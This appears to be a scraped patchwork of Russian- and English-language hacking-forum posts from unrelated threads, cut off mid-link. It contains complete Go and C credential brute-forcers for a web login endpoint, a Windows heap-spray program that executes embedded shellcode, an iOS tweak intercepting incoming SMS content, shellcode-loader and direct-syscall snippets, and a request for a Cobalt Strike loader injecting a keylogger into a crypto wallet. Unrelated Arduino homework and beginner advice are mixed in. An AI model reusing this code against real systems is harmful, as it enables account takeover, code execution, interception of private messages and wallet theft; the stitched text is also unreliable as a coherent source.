статуса сервера, используя логическое ИЛИ. Переходим к реализации кода.
C-like:Copy to clipboard
package main
import (
"bufio"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"sync"
"time"
)
// 1
var mu sync.Mutex
var attemptCount int
var wg sync.WaitGroup
// 2
func attemptLogin(host, login, password string) (*http.Response, error) {
url := fmt.Sprintf("%s/login/?login_only=1", host)
data := fmt.Sprintf("user=%s&pass=%s", login, password)
req, err := http.NewRequest("POST", url, strings.NewReader(data))
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client := &http.Client{}
return client.Do(req)
}
// 3
func readFile(fileName string) ([]string, error) {
file, err := os.Open(fileName)
if err != nil {
return nil, err
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
if err := scanner.Err(); err != nil {
return nil, err
}
return lines, nil
}
// 4
func appendToFile(fileName, text string) error {
mu.Lock()
defer mu.Unlock()
file, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return err
}
defer file.Close()
_, err = file.WriteString(text + "\n")
return err
}
// 5
func logAttemptsPerMinute() {
for {
time.Sleep(60 * time.Second)
mu.Lock()
currentCount := attemptCount
mu.Unlock()
err := appendToFile("attempts_log.txt", fmt.Sprintf("Попыток за последнюю минуту: %d", currentCount))
if err != nil {
fmt.Println("Ошибка при записи в файл attempts_log.txt:", err)
}
mu.Lock()
attemptCount = 0
mu.Unlock()
}
}
// 6
func containsStatusOne(response *http.Response) bool {
body, err := ioutil.ReadAll(response.Body)
if err != nil {
fmt.Println("Ошибка при чтении тела ответа:", err)
return false
}
bodyStr := string(body)
fmt.Println(bodyStr)
match := strings.Contains(bodyStr, "\"status\":1")
return match
}
// 7
func attemptLoginForHost(host string, logins, passwords []string, sem chan struct{}) {
defer wg.Done()
err := appendToFile("results.txt", fmt.Sprintf("Начинаем подбор для хоста: %s", host))
if err != nil {
fmt.Println("Ошибка при записи в файл:", err)
return
}
for _, login := range logins {
for _, password := range passwords {
fmt.Printf("Пробуем логин: %s с паролем: %s на хосте %s\n", login, password, host)
response, err := attemptLogin(host, login, password)
if err != nil {
fmt.Println("Ошибка при попытке авторизации:", err)
continue
}
defer response.Body.Close()
if containsStatusOne(response) || response.StatusCode != http.StatusUnauthorized {
result := fmt.Sprintf("Хост: %s, Логин: %s, Пароль: %s", host, login, password)
err := appendToFile("results.txt", result)
if err != nil {
fmt.Println("Ошибка при записи в файл:", err)
} else {
fmt.Printf("Результат: Логин: %s, Пароль: %s найден для хоста %s\n", login, password, host)
}
}
mu.Lock()
attemptCount++
mu.Unlock()
}
}
}
// 8
func main() {
hosts, err := readFile("hosts.txt")
if err != nil {
fmt.Println("Ошибка при чтении hosts.txt:", err)
return
}
logins, err := readFile("login.txt")
if err != nil {
fmt.Println("Ошибка при чтении login.txt:", err)
return
}
passwords, err := readFile("password.txt")
if err != nil {
fmt.Println("Ошибка при чтении password.txt:", err)
return
}
go logAttemptsPerMinute()
sem := make(chan struct{}, 3)
for _, host := range hosts {
wg.Add(1)
go attemptLoginForHost(host, logins, passwords, sem)
}
wg.Wait()
}
На трёх горутинах количество запросов в минуту составило около 600. Понятно, что это будет зависеть от железа, но для понимания у меня получилось примерно такое число.
Реализация на Си
Переходим к написанию брутфорса на Си. Это новый язык для меня, поэтому код может быть не максимально оптимизирован, и, вероятно, существует более грамотная реализация. В сути многопоточности Си выступают системные потоки и их синхронизация. Итак, получилось как-то так:
C:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <curl/curl.h>
#include <unistd.h>
// 1
#define MAX_LINE_LENGTH 1024
#define MAX_HOSTS 100
#define MAX_LOGINS 100
#define MAX_PASSWORDS 100
// 2
pthread_mutex_t mu = PTHREAD_MUTEX_INITIALIZER;
int attemptCount = 0;
pthread_mutex_t logFileMutex = PTHREAD_MUTEX_INITIALIZER;
// 3
void logToFile(const char* fileName, const char* logMessage) {
pthread_mutex_lock(&logFileMutex);
FILE* file = fopen(fileName, "a");
if (file) {
fprintf(file, "%s\n", logMessage);
fclose(file);
} else {
perror("Ошибка при записи в файл логов");
}
pthread_mutex_unlock(&logFileMutex);
}
// 4
char** readFile(const char* fileName, int* count) {
FILE* file = fopen(fileName, "r");
if (!file) {
char errorMessage[MAX_LINE_LENGTH];
snprintf(errorMessage, sizeof(errorMessage), "Ошибка при открытии файла: %s", fileName);
logToFile("debug_log.txt", errorMessage);
return NULL;
}
char** lines = malloc(MAX_LINE_LENGTH * sizeof(char*));
char buffer[MAX_LINE_LENGTH];
int index = 0;
while (fgets(buffer, sizeof(buffer), file)) {
buffer[strcspn(buffer, "\n")] = '\0';
lines[index] = strdup(buffer);
index++;
}
fclose(file);
*count = index;
char logMessage[MAX_LINE_LENGTH];
snprintf(logMessage, sizeof(logMessage), "Файл %s успешно прочитан, количество строк: %d", fileName, *count);
logToFile("debug_log.txt", logMessage);
return lines;
}
// 5
void appendToFile(const char* fileName, const char* text) {
pthread_mutex_lock(&logFileMutex);
FILE* file = fopen(fileName, "a");
if (file) {
fprintf(file, "%s\n", text);
fclose(file);
} else {
perror("Ошибка при записи в файл");
}
pthread_mutex_unlock(&logFileMutex);
}
// 6
void* logAttemptsPerMinute(void* arg) {
while (1) {
sleep(60);
pthread_mutex_lock(&mu);
int currentCount = attemptCount;
attemptCount = 0;
pthread_mutex_unlock(&mu);
char logMessage[MAX_LINE_LENGTH];
snprintf(logMessage, sizeof(logMessage), "Попыток за последнюю минуту: %d", currentCount);
appendToFile("attempts_log.txt", logMessage);
}
return NULL;
}
// 7
size_t writeCallback(void* contents, size_t size, size_t nmemb, void* userp) {
strncat((char*)userp, (char*)contents, size * nmemb);
return size * nmemb;
}
// 8
int containsStatusOne(const char* response) {
return strstr(response, "\"status\":1") != NULL;
}
// 9
void* attemptLoginForHost(void* args) {
char** data = (char**)args;
char* host = data[0];
char** logins = (char**)data[1];
char** passwords = (char**)data[2];
int loginCount = atoi(data[3]);
int passwordCount = atoi(data[4]);
CURL* curl = curl_easy_init();
if (!curl) {
char errorMessage[MAX_LINE_LENGTH];
snprintf(errorMessage, sizeof(errorMessage), "Ошибка инициализации CURL для хоста: %s", host);
logToFile("debug_log.txt", errorMessage);
return NULL;
}
char hostCopy[MAX_LINE_LENGTH];
snprintf(hostCopy, sizeof(hostCopy), "%s", host);
hostCopy[strcspn(hostCopy, "\r\n")] = '\0';
for (int i = 0; i < loginCount; i++) {
for (int j = 0; j < passwordCount; j++) {
char logMessage[MAX_LINE_LENGTH];
snprintf(logMessage, sizeof(logMessage), "Пробуем логин: %s, пароль: %s на хосте: %s", logins[i], passwords[j], hostCopy);
logToFile("debug_log.txt", logMessage);
char* encodedLogin = curl_easy_escape(curl, logins[i], 0);
char* encodedPassword = curl_easy_escape(curl, passwords[j], 0);
char url[MAX_LINE_LENGTH];
snprintf(url, sizeof(url), "%s/login/?login_only=1", hostCopy);
char postData[MAX_LINE_LENGTH];
snprintf(postData, sizeof(postData), "user=%s&pass=%s", encodedLogin, encodedPassword);
curl_free(encodedLogin);
curl_free(encodedPassword);
char responseBuffer[MAX_LINE_LENGTH] = {0};
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, responseBuffer);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
CURLcode res = curl_easy_perform(curl);
if (res != CURLE_OK) {
snprintf(logMessage, sizeof(logMessage), "Ошибка запроса для хоста %s: %s", hostCopy, curl_easy_strerror(res));
logToFile("debug_log.txt", logMessage);
continue;
}
snprintf(logMessage, sizeof(logMessage), "Ответ от сервера для хоста %s: %s", hostCopy, responseBuffer);
logToFile("debug_log.txt", logMessage);
if (containsStatusOne(responseBuffer)) {
char result[MAX_LINE_LENGTH];
snprintf(result, sizeof(result), "Хост: %s, Логин: %s, Пароль: %s", hostCopy, logins[i], passwords[j]);
appendToFile("results.txt", result);
snprintf(logMessage, sizeof(logMessage), "Результат найден: %s", result);
logToFile("debug_log.txt", logMessage);
}
pthread_mutex_lock(&mu);
attemptCount++;
pthread_mutex_unlock(&mu);
}
}
curl_easy_cleanup(curl);
return NULL;
}
// 10
int main() {
int hostCount, loginCount, passwordCount;
char** hosts = readFile("hosts.txt", &hostCount);
char** logins = readFile("login.txt", &loginCount);
char** passwords = readFile("password.txt", &passwordCount);
if (!hosts || !logins || !passwords) {
logToFile("debug_log.txt", "Ошибка при чтении файлов");
return 1;
}
pthread_t loggerThread;
pthread_create(&loggerThread, NULL, logAttemptsPerMinute, NULL);
pthread_t threads[MAX_HOSTS];
for (int i = 0; i < hostCount; i++) {
char** args = malloc(5 * sizeof(char*));
args[0] = strdup(hosts[i]);
args[1] = (char*)logins;
args[2] = (char*)passwords;
args[3] = malloc(10);
args[4] = malloc(10);
snprintf(args[3], 10, "%d", loginCount);
snprintf(args[4], 10, "%d", passwordCount);
pthread_create(&threads[i], NULL, attemptLoginForHost, (void*)args);
}
for (int i = 0; i < hostCount; i++) {
pthread_join(threads[i], NULL);
}
pthread_cancel(loggerThread);
for (int i = 0; i < hostCount; i++) free(hosts[i]);
for (int i = 0; i < loginCount; i++) free(logins[i]);
for (int i = 0; i < passwordCount; i++) free(passwords[i]);
free(hosts);
free(logins);
free(passwords);
return 0;
}
Наконец, количество итераций в минуту на трёх хостах составило около 900! Это больше, чем на аналогичном коде на Go. Возможно, дело в оптимизациях или в том, что горутины не такие легковесные. В любом случае, Си даёт больше возможностей.
Трям! Пока!
Как использовать препроцессинг без включённой оптимизации?
Вроде бы boost библиотека позволяет, может кто знает как это сделать?
constexpr бесполезно без оптимизации
Нужно препроцессить функцию аля
Code:Copy to clipboard
constexpr DWORD Process(DWORD dwNum)
{
DWORD dwResult = 0;
for (int i = 0; i < dwNum; i++)
{
if (dwResult % 2)
{
dwResult++;
}
}
return dwResult;
}
вуаля
Сам код для вызова калькулятора
C++:Copy to clipboard
#include "stdafx.h"
#include "windows.h"
#include <iostream>
using namespace std;
void print_content(int memaddress)
{
int* pcontent = (int*)memaddress;
int content = *pcontent;
printf(">> Contents at 0x%08x: %08x\n", memaddress, content);
}
void my_strcpy(char* dest, const char* src)
{
while ((*dest++ = *src++))
;
}
void my_strcat(char* dest, const char* src)
{
while (*dest)
dest++;
while ((*dest++ = *src++))
;
}
void my_strncat(char* dest, const char* src, size_t n)
{
while (*dest)
dest++;
for (size_t i = 0; i < n && *src != '\0'; ++i)
{
*dest++ = *src++;
}
*dest = '\0';
}
int main()
{
HANDLE hChunk;
HANDLE hDefaultHeap;
unsigned char shellcode[] = {
0xD9, 0xCB, 0xBE, 0xB9, 0x23, 0x67, 0x31, 0xD9, 0x74, 0x24, 0xF4, 0x5A, 0x29, 0xC9, 0xB1, 0x13,
0x31, 0x72, 0x19, 0x83, 0xC2, 0x04, 0x03, 0x72, 0x15, 0x5B, 0xD6, 0x56, 0xE3, 0xC9, 0x71, 0xFA,
0x62, 0x81, 0xE2, 0x75, 0x82, 0x0B, 0xB3, 0xE1, 0xC0, 0xD9, 0x0B, 0x61, 0xA0, 0x11, 0xE7, 0x03,
0x41, 0x84, 0x7C, 0xDB, 0xD2, 0xA8, 0x9A, 0x97, 0xBA, 0x68, 0x10, 0xFB, 0x5B, 0xE8, 0xAD, 0x70,
0x7B, 0x28, 0xB3, 0x86, 0x08, 0x64, 0xAC, 0x52, 0x0E, 0x8D, 0xDD, 0x2D, 0x3C, 0x3C, 0xA0, 0xFC,
0xBC, 0x82, 0x23, 0xA8, 0xD7, 0x94, 0x6E, 0x23, 0xD9, 0xE3, 0x05, 0xD4, 0x05, 0xF2, 0x1B, 0xE9,
0x09, 0x5A, 0x1C, 0x39, 0xBD
};
hDefaultHeap = GetProcessHeap();
printf("Default process heap found at 0x%p\n", hDefaultHeap);
printf("Press a key to start...\n");
cin.ignore();
char junkstr[0xbc5]; // 0xbc4 + 1 for null terminator
char smallstr[0x1001]; // 0x1000 + 1 for null terminator
char largestr[0x40001]; // 0x40000 + 1 for null terminator
memset(junkstr, 0x20, sizeof(junkstr)); // Use sizeof(junkstr) to ensure null terminator is set correctly
junkstr[sizeof(junkstr) - 1] = '\0'; // Null-terminate junkstr
my_strcpy(smallstr, junkstr); // Copy junkstr into smallstr
my_strcat(smallstr, (const char*)shellcode); // Concatenate shellcode to smallstr
while (strlen(smallstr) < 0x1000)
{
my_strncat(smallstr, "\x20", 1); // Use my_strncat for safety
}
while (strlen(largestr) < 0x40000)
{
my_strncat(largestr, smallstr, sizeof(smallstr)); // Use my_strncat for safety
}
for (int i = 1; i <= 0x500; i++)
{
hChunk = HeapAlloc(hDefaultHeap, 0, 0x40000 - 8);
memcpy(hChunk, largestr, 0x40000 - 8);
}
// Add read, write, and execute permissions to the memory at the address
DWORD oldProtect;
if (!VirtualProtect((LPVOID)0x0c0c0c0c, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "Error: VirtualProtect failed" << std::endl;
return 1;
}
printf("Spray done, check 0x0c0c0c0c\n");
// Pointer to function with no arguments and no return value
typedef void (*ShellcodeFunction)();
ShellcodeFunction shellcode_function = (ShellcodeFunction)0x0c0c0c0c;
// Execute the shellcode
shellcode_function();
return 0;
}
Получается техника достаточна жива, чтобы шеллкод юзать.
По адресу 0x0c0c0c0c будет записанный шеллкод.
Moneta detect
ida pro hex-rays
Как работает heap spray можете почитать тут https://pastebin.pl/view/d8155ba9
этот мой перевод статьи <https://www.corelan.be/index.php/2016/07/05/windows-10-x86wow64-userland- heap/>
1. Tools
mac system
Jailbroken iOS device: unpacking and frida debugging
IDA Pro: Static Analysis
Test device: iphone6-ios12.5.5
Corresponding configuration directory:
/Library/LaunchAgents: Administrator controls agents for specific users
/Library/LaunchDaemons: System-level daemons provided by the administrator (cydia, filza, frida, etc. are here)
/System/Library/LaunchDaemons: The default daemon process provided by iOS
Use the file management tool on the iPhone to view the key information of the /System/Library/LaunchDaemons/com.apple.imagent file as follows:
Code:Copy to clipboard
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>NSRunningFromLaunchd</key>
<string>1</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/System/Library/PrivateFrameworks/IMCore.framework/imagent.app/imagent</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
The path corresponding to ProgramArguments is the binary file executed by the process. After executing frida-trace -U -m "[IM *]" imagent -o a.log, the log after the phone receives the text message is as follows:
Code:Copy to clipboard
-[SMSServiceSession smsMessageReceived:0x10524abc0 msgID:0x80000006]
-[SMSServiceSession _processSMSorMMSMessageReceivedWithContext:0x10524abc0 messageID:0x80000006]
+[IMMetricsCollector sharedInstance]
-[IMMetricsCollector trackEvent:0x1d02ab1e8]
-[SMSServiceSession _convertCTMessageToDictionary:0x109a0e510 requiresUpload:0x16f832c2f]
-[IMMetricsCollector _trackEvent:0x1d02ab1e8]
-[SMSServiceSession _fixIncomingDate:0xd13d420d70d597e6]
-[SMSServiceSession shouldFixIncomingDate]
-[SMSServiceSession _myCTPhoneNumber]
+[IMCTSubscriptionUtilities sharedInstance]
-[IMCTSubscriptionUtilities deviceSupportsMultipleSubscriptions]
+[IMCTSubscriptionUtilities sharedInstance]
-[IMCTSubscriptionUtilities deviceSupportsMultipleSubscriptions]
+[IMCTSMSUtilities IMMMSEmailAddressToMatchForPhoneNumber:0x100830240 simID:0x0]
+[IMCTSubscriptionUtilities sharedInstance]
-[IMCTSubscriptionUtilities deviceSupportsMultipleSubscriptions]
-[SMSServiceSession _convertCTMessagePartToDictionary:0x109a28610]
-[SMSServiceSession _shouldUploadToMMCS:0x10524aca0]
-[SMSServiceSession _receivedSMSDictionary:0x10524aca0 requiresUpload:0x0 isBeingReplayed:0x0]
-[SMSServiceSession _processReceivedDictionary:0x10524aca0 storageContext:0x0]
+[IMMessageNotificationTimeManager sharedInstance]
-[IMMessageNotificationTimeManager acquireAssertionToUnsuspendProcess]
+[IMLockdownManager sharedInstance]
-[IMLockdownManager isInternalInstall]
-[IMLockdownManager _calculateInstallType]
-[IMMessageItem initWithSender:0x100890210 time:0x1008831d0 body:0x10083ba80 attributes:0x0 fileTransferGUIDs:0x1007081d0 flags:0x1 error:0x0 guid:0x10524acc0]
-[IMMessageItem initWithSender:0x100890210 time:0x1008831d0 body:0x10083ba80 attributes:0x0 fileTransferGUIDs:0x1007081d0 flags:0x1 error:0x0 guid:0x10524acc0 type:0x0]
-[IMMessageItem initWithSenderInfo:0x10085c330 time:0x1008831d0 timeRead:0x0 timeDelivered:0x0 timePlayed:0x0 subject:0x0 body:0x10083ba80 bodyData:0x0 attributes:0x0 fileTransferGUIDs:0x1007081d0 flags:0x1 guid:0x10524acc0 messageID:0x0 account:0x0 accountID:0x0 service:0x0 handle:0x0 roomName:0x0 unformattedID:0x0 countryCode:0x0 expireState:0x0 balloonBundleID:0x0 payloadData:0x0 expressiveSendStyleID:0x0 timeExpressiveSendPlayed:0x0 bizIntent:0x0 locale:0x0 errorType:0x0 type:0x0]
-[IMItem initWithSenderInfo:0x10085c330 time:0x1008831d0 guid:0x10524acc0 messageID:0x0 account:0x0 accountID:0x0 service:0x0 handle:0x0 roomName:0x0 unformattedID:0x0 countryCode:0x0 type:0x0]
-[IMItem setSenderInfo:0x10085c330]
According to the log, we can see the key function -[SMSServiceSession smsMessageReceived:0x10524abc0 msgID:0x80000006]. Use the command frida-trace -U -m "-[SMSServiceSession smsMessageReceived:msgID:]" imagent to trace this function. The js code is as follows:
Code:Copy to clipboard
{
onEnter(log, args, state) {
log(`-[SMSServiceSession smsMessageReceived:${ObjC.Object(args[2])} msgID:${args[3]}]`);
},
onLeave(log, retval, state) {
}
}
When the mobile phone receives a text message, the corresponding log output is as follows:
Code:Copy to clipboard
-[SMSServiceSession smsMessageReceived:<CTXPCServiceSubscriptionContext 0x10bfd1240 slotID=CTSubscriptionSlotOne, uuid=00000000-0000-0000-0000-000000000001, labelID="90D990CE-3484-4310-9F39-49A66EB80541", label="USER_LABEL_PRIMARY", phoneNumber="+861812186xxxx", userDataPreferred=1, userDefaultVoice=1> msgID:0x80000010]
According to the log information, this method does not contain the SMS and sender-related information we need except msgID. Then we continue to look down in the order of the log, -[SMSServiceSession _convertCTMessageToDictionary:requiresUpload:] This function looks more friendly. Trace the function and get the log as follows:
Code:Copy to clipboard
-[SMSServiceSession _convertCTMessageToDictionary:<[CTMessageAddress: 189xxxxxx/TYPE=PLMN]
[Recipients: (
)]
[Items: (
"<CTMessagePart: 0x10be7f340>"
)]
[Raw Headers: (null)]
[Date: 2023-07-30 14:43:23 +0000]
[message ID: -2147483630]
[message Type: 1]
[service center: (null)]
[Content-type: (null)]
[Content-type params: {
}]
[replace message: 0]
requiresUpload:0x16edaec2f]
-[SMSServiceSession _convertCTMessageToDictionary:requiresUpload:]={
co = "+86181xxxxxx";
g = "00ECAC3B-0790-8674-CAD5-58DD07F4DEBA";
h = 189xxxxxx;
k = (
{
data = <e58fa6>;
type = "text/plain";
}
);
l = 0;
m = sms;
n = 460;
re = (
);
sV = 1;
w = "2023-07-30 14:43:25 +0000";
}}=
It can be seen from the log. This method is the hook method we want, recipient: co, sender: h, text message content: k
The source code is as follows:
Code:Copy to clipboard
#import <Foundation/Foundation.h>
#import "CaptainHook/CaptainHook.h"
@interface SMSServiceSession
@end
@interface IMDService
-(void)loadServiceBundle;
@property (nonatomic,retain,readonly) NSBundle * bundle;
@end
CHDeclareClass(SMSServiceSession); // declare class
CHOptimizedMethod2(self, id, SMSServiceSession, _convertCTMessageToDictionary, NSDictionary *, arg1, requiresUpload, BOOL*, arg2) {
id result = CHSuper2(SMSServiceSession, _convertCTMessageToDictionary, arg1, requiresUpload, arg2);
@try {
NSString *from = result[@"h"];
NSString *to = result[@"co"];
NSArray *msgList = result[@"k"];
if (msgList.count > 0) {
NSData *data = msgList[0][@"data"];
NSString *content = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
NSLog(@"witwit =from %@=to %@=content %@=",from, to, content);
} else {
NSLog(@"witwit =sms为空=");
}
} @catch (NSException *exception) {
NSLog(@"witwit =SMSServiceSession _convertCTMessageToDictionary=err=%@=", exception);
} @finally {
}
return result;
}
CHDeclareClass(IMDService)
CHOptimizedMethod0(self, void, IMDService, loadServiceBundle) {
CHSuper0(IMDService, loadServiceBundle);
NSString *bundleId = [[self bundle] bundleIdentifier];
NSLog(@"witwit =IMDService loadServiceBundle=%@=", bundleId);
if ([bundleId isEqualToString:@"com.apple.imservice.sms"]) {
CHLoadLateClass(SMSServiceSession);
CHHook2(SMSServiceSession, _convertCTMessageToDictionary, requiresUpload);
}
}
CHConstructor // code block that runs immediately upon load
{
@autoreleasepool
{
NSLog(@"witwit SMSForward load success");
CHLoadLateClass(IMDService);
CHHook0(IMDService, loadServiceBundle);
}
}
The info.plist file is configured as follows:
Code:Copy to clipboard
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Filter</key>
<dict>
<key>Bundles</key>
<array>
<string>com.apple.imagent</string>
</array>
</dict>
</dict>
</plist>
After the plug-in installation is completed. Please restart imagent:
Code:Copy to clipboard
launchctl unload /System/Library/LaunchDaemons/com.apple.imagent.plist
launchctl load /System/Library/LaunchDaemons/com.apple.imagent.plist
Всем доброго дня. Сейчас появился вопрос, можно как то модифицировать таблицу экспорта на этапе компиляции? С помощь директив каких нибудь (#pragma, etc...). Вот знаю что с секциями такое возможно, а с экспортом никогда не сталкивался.
hello, ive been trying to read a whole file with ReadFile() function. but how do i know how large the buffer needs to be? is there any way to calculate that?
example:
C:Copy to clipboard
ReadFile(hFile, fileBuffer, BUFFERSIZE, &dwRead, 0);
Всем привет, решил переписать LoadPE от одного хорошего человека так, чтобы можно было перевести в шеллкод и все работало. Как альтернативу встроенному memcpy юзаю самописный с тем же функционалом. Однако загвоздка в том, что я вызываю свою memcpy 2 раза - все ок, вызываю третий раз - компилятор дает ошибку "неразрешенный внешний символ _memcpy". Подскажите, как быть?
C++:Copy to clipboard
void* MyMemcpy(void* dest, const void* src, size_t bytes)
{
byte* cdest = (byte*)dest;
const byte* csrc = (byte*)src;
for (size_t i = 0; i < bytes; ++i) *cdest++ = *csrc++;
return dest;
}
...
retadr = (unsigned long)pVirtualAlloc(0, PeHeader.OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (retadr) // если память выделилась
{
// скопируем туда DOS заголовок
MyMemcpy((void*)retadr, &DosHeader, sizeof(IMAGE_DOS_HEADER));
// скопируем туда PE заголовок
MyMemcpy((void*)(retadr + DosHeader.e_lfanew), &PeHeader, sizeof(IMAGE_NT_HEADERS));
// ошибка возникает при использовании последующих MyMemcpy
// скопируем туда таблицу секций
MyMemcpy((void*)(retadr + DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS)), &Section[0], sizeof(IMAGE_SECTION_HEADER) * PeHeader.FileHeader.NumberOfSections);
...
}
Spoiler: скрин1
Ошибка возникает при отключении оптимизации всей программы.
Spoiler: скрин2
How can i fix this problem
I start software as admin
i changed authorization from TrustedInstaller to Admin authorization but not
fixed
most need source code to implant with work and trojan with cobalt strike shell loader like keylogger injection into exodus wallet
Домашнее задание: Программирование игрального кубика
Задание 1
Создайте проект на Arduino и добавьте макетную плату. С
помощью светодиодов отобразите все возможные комбинации, которые могут выпасть
при подбрасывании игральных
костей (1, 2, 3, 4, 5, 6). Разместите на плате все возможные
комбинации. Каждая комбинация — это светодиоды определенного цвета, а
количество светодиодов равно выпавшей
комбинации (если 1, то только 1 светодиод и так далее). Соедините их и
запрограммируйте так, чтобы при нажатии на
кнопку выпадало случайное число от 1 до 6. Какое число выпало, те светодиоды и
засветились.
Тестирование проходило на Windows XP (x86) и на Windows 7 SP1 (x86), на первом код отработал, на втором же возвращает STATUS_INVALID_PARAMETER. Я что-то делаю не так?
C++:Copy to clipboard
const unsigned char x86sc[] = {
0xB8, 0xB3, 0x00, 0x00, 0x00, 0x33, 0xC9, 0x8D, 0x54, 0x24, 0x08, 0xCD, 0x2E, 0xC3
};
/* ->
mov eax, 0xB3 (NtOpenFile ID (WIN7 SP1))
xor ecx ecx
lea edx, dword ptr ss:[esp+8]
int 2E
ret
*/
HANDLE hFile = NULL;
IO_STATUS_BLOCK IoStatusBlock;
OBJECT_ATTRIBUTES FileObjectAttributes;
InitializeObjectAttributes(&FileObjectAttributes, &szPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS NtStatus = reinterpret_cast<NTSTATUS(__stdcall*)(...)>(x86sc)(&hFile, GENERIC_READ | SYNCHRONIZE, &FileObjectAttributes, &IoStatusBlock, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE);
// result = STATUS_INVALID_PARAMETER
Что ж, я решил сделать пост, чтобы помочь людям, которые плохо знакомы с форумным программированием или плохо знакомы с программированием. Я часто вижу, как люди спрашивают, какой язык лучше, какой софт создать или просто иногда как сделать RAT без каких-либо предварительных знаний))
Я собираюсь разобрать каждый из этих вопросов, так как это наиболее распространенные вопросы, которые мне задают, или варианты этих вопросов.
Итак, начнем с первого вопроса.
КАКОЙ ЯЗЫК ПРОГРАММИРОВАНИЯ ЛУЧШЕ ИЗУЧАТЬ?
Краткий ответ: ЛУЧШЕ ЯЗЫКА НЕТ!!!
Я объясню, что каждый язык был разработан первоначальным создателем для
выполнения определенного набора требований, которые требовались в то время,
или для улучшения рабочего процесса, производительности или простоты
разработки.
Вот несколько примеров для каждого из них.
Мой первый пример языка/инструмента, который отвечает потребностям улучшения рабочего процесса, — это группа языков запросов MYSQL/SQL/POSTGRES, хотя большинство из них обычно не классифицируют их как язык программирования, они позволяют проводить прогроматический анализ данных, поэтому в мое мнение, что это правильно )) они были разработаны, чтобы иметь возможность выполнять и запрашивать большие наборы данных с иногда очень узкими параметрами поиска, но быть максимально эффективными для улучшения рабочего процесса приложений управления данными.
таблицу sql и простой пример запроса можно посмотреть здесь http://sqlfiddle.com/#!9/fc9e55/1/0
Мой второй пример — это язык программирования, обеспечивающий повышение производительности, то есть C, потому что насколько он близок к языку ассемблера по сравнению с интерпретируемым языком, таким как Python, процесс компиляции кода C в сборку намного быстрее, потому что это всего на 1 шаг выше, в то время как Python должен Сначала он преобразуется из высокоуровневого, удобочитаемого исходного кода Python в интерпретируемый байт-код/микрокод Python, который по своей природе похож на язык ассемблера, затем он передается в виртуальную машину стека CPython, которая устраняет разрыв и в основном преобразует Python в C-эквивалент, а затем в сборку. как вы можете легко видеть, это требует гораздо больше шагов, чем преобразование C в Assembly.
Последний пример можно легко продолжить с предыдущего, так как он хорошо связан, поэтому для простоты разработки примера вернитесь к python, потому что это один из самых популярных языков для начинающих разработчиков программного обеспечения из-за синтаксиса. , любой, кто уже знаком с python, поймет, о чем я говорю, python — это то, что считается языком программирования высокого уровня, потому что исходный код относительно прост и легок для чтения человеком по сравнению с чем-то вроде C, который может не сделать много смысла для тех, кто видит его впервые, однако из-за природы синтаксиса Python тот, кто совершенно не знаком с программированием, вероятно, может прочитать его и понять на очень базовом уровне без особых предварительных знаний.
пример первой программы на любом языке, hello world.(python)
![www.learnpython.org](/proxy.php?image=https%3A%2F%2Fwww.learnpython.org%2Fstatic%2Fimg%2Fshare- logos%2Flearnpython.org.png&hash=82af56d209932ba79ef028098dc2ad55&return_error=1)
](https://www.learnpython.org/en/Hello%2C_World%21)
learnpython.org is a free interactive Python tutorial for people who want to learn Python, fast.
www.learnpython.org
пример первой программы на любом языке, привет мир.(С) https://www.geeksforgeeks.org/c-hello-world-program/
Я предоставил ссылки на 2 веб-сайта, которые демонстрируют простой код hello world для C и Python, оба содержат много другой полезной информации о каждом языке, если вы хотите узнать больше об этих языках.
Итак, для следующего вопроса, заданного в начале этого.
КАКОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ СОЗДАВАТЬ?
Это легкая часть.)
Начните с чего-нибудь небольшого, возможно, попробуйте автоматизировать
повторяющуюся задачу, которая раздражает. Это решит несколько проблем и
поставит небольшую, но достижимую цель, которая послужит мотивацией для
создания более крупного и сложного проекта.
Я обнаружил, что этот метод обучения обеспечивает хороший баланс, предоставляя
небольшие достижимые цели, которые дают мне импульс и уверенность, необходимые
для перехода к более крупным и сложным проектам.
Как и все, что люди учатся по-разному, так что это может быть не лучший метод
для ваших нужд, но я обнаружил, что попытки ускорить процесс только замедляют
меня и приводят к тому, что неработающий код раздражает больше времени.
Еще один важный момент, который я не могу выразить достаточно (из личного
опыта))), проверяйте свой код во время работы.
Я потратил бессчетное количество часов на написание кода, не запуская его и не
тестируя на ходу, что снова привело к большому разочарованию, но, в конце
концов, дало мне очень ценный навык.
Я надеюсь, что мое объяснение некоторых из этих тематических областей послужит основой для следующего поколения участников форума, интересующихся программированием и разработкой программного обеспечения, а некоторые советы и опыт, которые я нашел, помогли мне узнать больше.
Закрытие примера вопроса № 3 с самого начала,
КАК СДЕЛАТЬ КРЫСУ? )))
перейти к объяснению номер 1 и учиться, прогрессировать, строить.
ничего не приходит к тем, кто не хочет учиться
nashel vot takoi script na ps: [https://github.com/BC-
